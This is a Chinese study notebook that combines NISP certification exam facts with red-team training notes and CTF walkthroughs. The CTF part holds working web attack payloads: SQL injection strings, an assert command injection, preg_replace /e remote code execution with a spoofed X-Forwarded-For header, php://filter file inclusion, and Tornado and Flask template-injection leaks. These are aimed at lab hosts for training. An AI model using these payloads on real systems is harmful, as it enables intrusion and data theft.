> For the complete documentation index, see [llms.txt](https://dizzzzy.gitbook.io/notebook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dizzzzy.gitbook.io/notebook/course/nisp-er-ji-hvv.md).

# NISP二级\&hvv

## NISP

密码学**Kerchhof** 假设中，密码系统的安全性仅依赖于**密钥**

PKI（公钥基础设施），也称公开密钥基础设施。

SARSA 模型包括（**六层**），它是一个（**分层模型**），它在第一层从安全的角度定义了 （**业务需求**）。模型的每一层在抽象方面逐层减少，细节逐层增加，因此，它的层级都是 建在其他层之上的，从策略逐渐到技术和解决方案的（**实施实践**）。其思路上创新提出了 一个包括战略、概念、设计、实施、度量和审计层次的（**安全链条** ）

终端访问控制器访问控制系统（Terminal Access Controller Access-Control System,TACACS）由 RFC1492 定义，标准的 TACACS 协议只认证 用户是否可以登录系统，目前很少使用，目前使用的TACACS+协议分为两个不同的过程——**认证和授权**，认证时客户机发送一个 **序列号为1** 的`START`包给服务器，包的内容包括执行的认证类型/用户名等信息，服务器会送一个`REPLY`包表示认证继续还是结束

PDCA（**plan-do-check-act 或者 plan-do-check-adjust**）循环的 4 个阶段，“**策划- 实施-检查-改进**”

《信息安全保障技术框架》（Information Assurance Technical Framework，IATF）是由（）发布的。**美国**

欧美六国制定的提供欧美各国通用的信息安全评估标准全称&#x662F;**《信息技术安全通用评估准则》**，简称CC，**我国信息安全评估的国家标准**是CC

关于信息安全管理体系（Information Security Management Systems， ISMS），下面描述错误的是 ？

* A.概念上，信息安全管理体系有广义和狭义之分，狭义的信息安全管理体系是 指按照 ISO27001 标准定义的管理体系，它是一个组织整体管理体系的组成部分
* B.信息安全管理体系是组织在整体或特定范围内建立信息安全方针和目标，以 及完成这些目标所用方法的体系，包括组织架构、方针、活动、职责及相关实践 要素
* C.同其他管理体系一样，信息安全管理体系也要建立信息安全管理组织机构、健全信息安全管理制度、构建信息安全技术防护体系和加强人员的安全意识等内容
* D.管理体系（Management Systems）是为达到组织目标的策略、程序、指南和相关资源的框架，信息安全管理体系是管理体系思想和方法在信息安全领域的应用

ISO27001信息安全管理体系包含的14个控制域（**没有业务安全性审计**）

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FDyLVt6NHS3Hcc3VzxEE9%2Fimage.png?alt=media&amp;token=2f681ac7-1414-4361-be36-99c8c2000099" alt=""><figcaption></figcaption></figure>

信息系统安全保障模型包含：**保障要素，生命周期和安全特征**三个方面

质量管理体系将**资源与过程**结合

信息安全风险评估分自评估、检查评估两形式，应以**自评为主，检查为辅**

信息安全风险管理的内容和过程：

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2Fns2SYTz0O5M181RoPO0H%2Fimage.png?alt=media&amp;token=75692471-00ae-45af-a3a2-e9ebd67a2280" alt=""><figcaption></figcaption></figure>

Kerberos 基本认证过程分为三个阶段：第一阶段：获得票据许可票据； 第二阶段：获得服务许可票据；第三阶段：获得服务。

Kerberos协议提供的单点登陆实质是消息M在**多个应用系统**之间的传递或共享，消息M是指**安全凭证**

windowsNT提供的分布式安全环境又被称为：域Domin

**符合性常规控制**包括：

* 符合**安全策略**标准以及**技术**符合性
* **法律法规符合性**：符合法律要求
* **信息系统审核考虑**

**《保密法》**&#x7B2C;二十三条规定存储、处理国家秘密的计算机信息系统（以下 简称涉密信息系统）按照**涉密程度**实行分级保护。**涉密信息系统**应当按照国家保密标准配备保密设施、设备。**保密设施、设备**应当与涉密信息系统同步规划、同 步建设、同步运行（三同步）。涉密信息系统应当按照规定，经**检查合格**后，方可投入使用。

能力成熟度模型（CMM）

* CMM 的思想来源于已有多年历史的**项目管理、质量管理**
* CMM 是一种衡量工程实施能力的方法，是一种面向工程过程的方法
* CMM 是建立在统计过程控制理论基础上的，它基于这样一个假设，即“生产过程的高质量和在过程中组织实施的成熟性可以低成本地生产出高质量产品”
* CMM 的思想不关注结果，而是强调了过程的控制，过程如果是高质量的，结果通常会是高质量的

SSE-CMM（系统安全工程能力成熟度模型）是面向过程质量控制的一套方法，其基本实施（Base practices，BP）是基于最佳的工程过程实践，适用于组织的整个生命周期

SSE-CMM 定义了一个风险过程，包括**四个部分，评估影响、评估威胁、评估脆弱 性、评估安全风险**，定义了 6 个能力级别，分别是不可重复级、初始级、可重复级、已定 义级、已管理级、优先级

**信息安全等级保护**被作为我国的一项**基础制度**加以推行，并且有一定强制性，其实施的主要目标是有效地提高我国信息和信息系统安全建设的整体水 平，重点保障基础信息网络和重要信息系统的安全

信息系统的安全保护等级分为以下五级：

* 第一级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益造成损害，但**不损害国家安全、社会秩序和公共利益**。一级系统只需要自主定级备案，无需测评
* 第二级，信息系统受到破坏后，会对公民、法人和其他组织的合法权益产生严重损害，或者对社会秩序和公共利益造成损害，但**不损害国家安全**。
* 第三级，信息系统受到破坏后，会**对社会秩序和公共利益造成严重损害**，或者**对国家安全造成损害**。
* 第四级，信息系统受到破坏后，会**对社会秩序和公共利益造成特别严重损害**，或者**对国家安全造成严重损害**。
* 第五级，信息系统受到破坏后，会**对国家安全造成特别严重损害**。

GB/Z 20986-2007 《信息安全技术自信安全事件分类分级指南》，信息安全事件分为**7个基本类别**：

* 有害程序事件
* 网络攻击事件
* 信息破坏事件
* 信息内容安全事件
* 设备设施故障
* 灾害性事件
* 其他信息安全事件

应急响应是指组织为了应对突发／重大信息安全事件的发生**所做的准备**，以及在事件**发生后所采取的措施**。

一种被广为接受的应急响应方法是将应急响应管理过程分为 **6 个阶段**，为 **准备->检测->遏制->根除->恢复->跟踪总结**

灾难恢复分为**6个等级**

数据库安全性控制中，授权的数据对象**粒度越小**，授权子系统越灵活

数据备份按照数据类型划分为：**系统数据备份和业务数据备份，**&#x5E38;用的三种数据备份**恢复数据速度**由快到慢依次是：完全备份——>差量备份——>增量备份

**热备中心**，又被称为热备份中心或热备份站点，是指一个可以提供立即恢复和连续运行的远程数据中心。热备中心通常会配置和主数据中心相同的硬件和软件环境，并且会实时或者几乎实时地备份主数据中心的所有数据和信息。如果主数据中心出现问题，如硬件故障、软件故障或者是自然灾害导致的不可预防的公共故障，热备中心可以立刻接管所有的服务，以最小化服务中断的影响。

快速格式化只是删除了文件索引，并没有删除文件，仍然可以通过工具进行恢复

通过命令  **`mmc`** 打开windows管理控制台

在Linux中，文件或目录的权限分为三组，分别为用户（u，user）、群组（g，group）以及其他人（o，other）。每组权限包括了读（r，read）、写（w，write）和执行（x，execute）。具体到每个文件或目录，每组的权限都可以独立设置。权限的表示主要使用数字，具体对应关系如下：

* 读（r）：4
* 写（w）：2
* 执行（x）：1
* 无权限：0

以`chmod 764 test.c`为例，其中的数字`764`代表了文件`test.c`的权限设置。这三个数字分别对应了用户、群组和其他人的权限。

* "7"（4+2+1）代表用户拥有读、写、执行权限。
* "6"（4+2）代表群组拥有读、写权限，无执行权限。
* "4"（4）代表其他人只有读权限，没有写和执行权限。

**Biba模型是保障完整性模型，允许向上读和向下写**

**BLP模型是保障机密性模型，允许向下读和向上写**

Wi-Fi联盟提出的WPA和WPA2安全协议的区别在于：**WPA依照802.11i标准草案**，而**WPA2依照802.11i正式标准制定**

**Teardrop攻击**是一种拒绝服务（DoS）攻击方式，它利用了IP数据包重组过程中的一个漏洞。在这个攻击过程中，**攻击者发送一系列的IP碎片，这些碎片在被目标机器接收并尝试重新组装时，会造成目标机器的系统崩溃或重启**。 IP数据包发送过程中会分成一系列较小的数据段，每个数据段在传送过程中可独立地路由到目标机器。在到达目标机器后，这些数据段会基于每个段包含的“偏移值”被重新组装成原始的IP数据包。在正常情况下，这个过程是平稳且有效的。 然而，在Teardrop攻击中，攻击者会故意设计一些具有重叠或是过大的偏移值的IP数据段。当目标机器尝试对这些数据段进行重组时，由于无法正确处理这些异常的偏移值，会导致系统崩溃或重启。

12个常见的Web安全漏洞：

* SQL注入
* 失效的身法认证
* 敏感数据泄露
* 越权访问
* 安全性错误配置
* XSS跨站脚本攻击
* 不安全的饭序列化1
* 使用具有已知漏洞的组件
* 不足的日志记录和监控
* CSRF跨站请求伪造
* 点击劫持
* 任意文件上传和读取下载

**扫描系统漏洞**属于**风险要素识别**阶段

数据在进行传输前，需要由协议栈自上而下对数据进行封装。TCP/IP 协议中,数据 封装的顺序是：**传输层、互联网络层、网络接口层**

TCP/IP **4层协议模型**自上而下分别是：**应用层、传输层、互联网络层、网络接口层**

* 网络层安全协议：IPsec，IPSec隧道模式作用在安全网关设备之间
* 链路层安全协议：PP2P，L2TP
* 传输层安全协议：SSL

部署IPSec vpn时需要考虑IP地址的规划，在分支节点使用可以聚合的IP地址段，来减少IPSec**安全关联（SA）**&#x8D44;源的消耗，其中的AH协议提供身份验证和数据完整性保护

和传统的软件开发阶段相比，微软提出的安全开发生命周期（SDL)最大特点是**增加了安全培训和应急响应**

根据BSI软件安全开发系列模型，软件安全的三根支柱是：应用风险管理，软件安全接触点，安全知识，BSI系列模型强调安全测试的重要性，要求安全测试贯穿**整个开发过程**

软件缺陷密度值即**千行代码缺陷率**，**千行代码缺陷率 = 缺陷数量  / （代码行数 / 1000）**

***

## Hvv

全国网安事件

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FrOthxDYIgT7DluFBlKwA%2Fimage.png?alt=media&amp;token=2cf8bd70-a87f-408d-8a19-3f31388f848d" alt=""><figcaption></figcaption></figure>

* 代号夜龙
* 震网
  * 攻击目标：伊朗核电站
  * 利用漏洞：MS10-046/西门子SIMATIC WinCC系统 0 day漏洞
  * 渗透手段： U盘

    <figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FGvyKEQDwyayhwBSSTeIw%2Fimage.png?alt=media&amp;token=8e55bad3-3785-4674-bd63-49378b626ada" alt=""><figcaption></figcaption></figure>
* 海莲花事件
  * 鱼叉攻击

    <figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2F9u7bBhUVqtnoazUMUS1C%2Fimage.png?alt=media&amp;token=9d787320-c363-4e4c-9704-44bf67c5783d" alt=""><figcaption></figcaption></figure>
* 乌克兰火电站事件
  * 钓鱼邮件感染办公电脑，导致内网被渗透，发生大面积停电
  * 俄罗斯对乌克兰的攻击
* 台积电
  * 遭到勒索病毒入侵

### PHP基本语法学习

### Mysql 安全值守

#### 用户权限设置

<pre class="language-sql"><code class="lang-sql">use mysql
<strong>select user,host from user;
</strong><strong>#新增用户
</strong><strong>create user xiaoming@'%' IDENTIFIED by '123';
</strong><strong>#删除用户
</strong><strong>drop user xiaoming@'%';
</strong></code></pre>

权限存储在mysql库的user,db,tables\_priv（管理表权限）,colunmns\_priv（管理列权限）,procs\_priv(管理字段权限)

```sql
#查看用户权限
show grants for xiaoming@'%'

#用户授权，with grant option;表示可以将所有的权限授予其他用户
grant all PRIVILEGES on stu.* to 'xiaoming'@'%'
IDENTIFIED by '123' with grant option;

#回收权限
revoke all PRIVILEGES on stu.* from 'xiaoming'@'%'
```

#### 元数据查询

```sql
select version(); #服务器版本信息
select database();#当前数据库名
select user();#当前用户
show status;#数据库服务器状态（一些变量的值）
show variables;#服务器参数

show global variables like '%datadir%';#数据文件存放位置
select @@datadir;#数据文件路径
select @@basedir;#mysql安装路径
```

#### union查询

#### 数据库漏扫工具Scuba

扫描数据库漏洞

### SQL注入

#### 基于报错的注入

如`order by`爆破字段数量

#### 基于时间的盲注

`' and if(ascii(substr(database(),1,1))>95, sleep(10),1) --+`，构造if语句爆破数据库名（二分法）

#### 基于布尔的盲注

#### Http头注入

例如user-Agent注入用payload进行渗透：`updatexml(xml_document,xpath_string,new_value)`,`xpath_string`设置为需要打印的报错信息

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FhiBuCfv7cIeuaGrBfZen%2Fimage.png?alt=media&amp;token=21b08736-60b4-4e1c-9e0e-754fd5df912e" alt=""><figcaption></figcaption></figure>

#### Cookie注入

类似http头注入，也是通过在请求的cookie字段拼接`updatexml(xml_document,xpath_string,new_value)--+`语句，其中`xpath_string`设置需要打印的报错信息

#### 宽字节注入

宽字节概念

* 单字节字符集：所有的字符都使用一个字节来表示，如asci码用0-127来编码
* 多字节字符集：在多字节字符集中，一部分字符用多个字节来表示，另一部分字符（可能没有）用单个字节来表示
* 宽字节注入利用mysql使用GBK编码时会认为两个字符是一个汉字，GB2312、GBK、GB18030、BIG5、Shift\_JIS等这些都是常说的宽字节，实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象，即将两个ascii字符误认为是一个宽字节字符。

php中的宽字节

* addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
* mysql\_real\_escape\_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
* mysql\_escape\_string() 转义一个字符串

最简单的注入poc：`%df'`

#### Update注入

#### 二阶注入

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2Fy5d1ncWAC8CzCGe6qf8Y%2Fimage.png?alt=media&amp;token=ad36f343-5832-428e-890c-5dba73c48f97" alt=""><figcaption></figcaption></figure>

将已经存储的用户输入被读取后再次进入到SQL查询中导致的注入，攻击者先向数据库中插入恶意语句（即使后端代码对语句进行了转义），然后再引用恶意数据

#### SQL绕过操作

* 大小写绕过
* 双写绕过（过滤时开发者只将关键词进行了**一次替换**并替换为**空**）
* 编码绕过
* 内联注释绕过 `/*!select*/ * from user`

#### sqlmap安装和使用

* 注意python2.7的环境

Goby扫描工具

CTF刷题记录

#### CMD执行

搜索指定名字的文件

```
&& find / -name "已知文件名的部分*"
如
&& find / -name "flag*"
```

#### xff和referer伪造

```
x-forwarded-for:123.123.123.123
Referer:https://www.google.com
```

（1）X-Forwarded-For:简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP，只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。xff 是http的拓展头部，作用是使Web服务器获取访问用户的IP真实地址（可伪造）。由于很多用户通过代理服务器进行访问，服务器只能获取代理服务器的IP地址，而xff的作用在于记录用户的真实IP，以及代理服务器的IP。

（2）HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器基此可以获得一些信息用于处理。referer 是http的拓展头部，作用是记录当前请求页面的来源页面的地址。服务器使用referer确认访问来源，如果referer内容不符合要求，服务器可以拦截或者重定向请求。&#x20;

git漏洞

```
http://61.147.171.105:49636/.git/
```

下载源码：

```
pip install githacker
mkdir mfw
githacker --url http://61.147.171.105:49636/--output-folder mfw/
```

审计代码发现传入的page参数拼接到$file变量中，然后$file又被传入到assert函数去执行，存在assert命令注入，poc如下

```
page=') or system('cat ./templates/flag.php');//
即：
http://61.147.171.105:49636/?page=%27)%20or%20system(%27cat%20./templates/flag.php%27);//
```

这时, assert函数就变成了 :

assert("strpos('templates/') or system('cat ./templates/flag.php');//.php', '..') === false") or die("Detected hacking attempt!");

后面的代码被注释掉了，真正执行的是assert("strpos('templates/') or system('cat ./templates/flag.php');

#### 文件包含

`page=php://filter/read=convert.base64-encode/resource=index.php`&#x20;

把页面源码进行base64加密输出，否则代码将会直接执行而不显示

poc记录：

```
1#
GET /index.php?page=php://filter/read=convert.base64-encode/resource=index.php

得知需要x-forwarded-for:127.0.0.1开启测试的后门代码：
//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}
三个参数：pat随便填  &  rep=system("待执行命令")  &  sub=随便填

2#
先ls一下
GET /index.php?pat=/test/e&rep=system("ls")&sub=test HTTP/1.1
x-forwarded-for:127.0.0.1

获取关键目录s3chahahaDir

3#
继续找flag：
GET /index.php?pat=/test/e&rep=system("cd+s3chahahaDir+%26%26+ls")&sub=test HTTP/1.1
Host: 61.147.171.105:57182
x-forwarded-for:127.0.0.1

发现flag文件夹

4#
继续找
GET /index.php?pat=/test/e&rep=system("cd+/s3chahahaDir/flag+%26%26+ls")&sub=test HTTP/1.1
x-forwarded-for:127.0.0.1

发现flag.php

5#
GET /index.php?pat=/test/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=test HTTP/1.1
Host: 61.147.171.105:57182
x-forwarded-for:127.0.0.1

成功cat flag
```

#### Tornado 框架漏洞

根据提示（/hints.txt md5(cookie\_secret+md5(filename))，flag in /fllllllllllllag）需要获取cookie\_secret计算hash值，Tornado 框架漏洞可以使用{{handler.settings}}获取服务器的配置文件信息

poc:

```
http://61.147.171.105:54511/error?msg={{handler.settings}}
输出：
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '1a4fa65e-5894-4900-af02-3da0be0d6f79'}
```

编写脚本计算hash

````
```python
import hashlib
def md5(message):
    md5 = hashlib.md5()
    md5.update(message.encode('utf-8'))
    return md5.hexdigest()

def main(salt, name):
    print(md5(salt + md5(name)))


if __name__ == "__main__":
    cookie_secret = "1a4fa65e-5894-4900-af02-3da0be0d6f79"
    filename = "/fllllllllllllag"
    main(cookie_secret, filename)

```

得到hash：
27eeb042366cf2b0037409159e41ec50
````

最终poc

```
http://61.147.171.105:54511/file?filename=/fllllllllllllag&filehash=27eeb042366cf2b0037409159e41ec50
```

#### flask模板注入

黑名单绕过：

将config和self当成了黑名单而flag在config文件里如果没有黑名单的时候，我们可以传入config,或者传入{undefined{self.dict}}获取，但当这些被过滤的时候，我们需要借助一些全局变量利用沙盒逃逸的方法，来调用被禁用的函数对象。

<pre><code>current_app,这是全局变量代理，查看他的config即可
{{url_for.__globals__['current_app'].config}}

poc：
<strong>http://61.147.171.105:62289/shrine/{{url_for.__globals__['current_app'].config}}
</strong>
</code></pre>
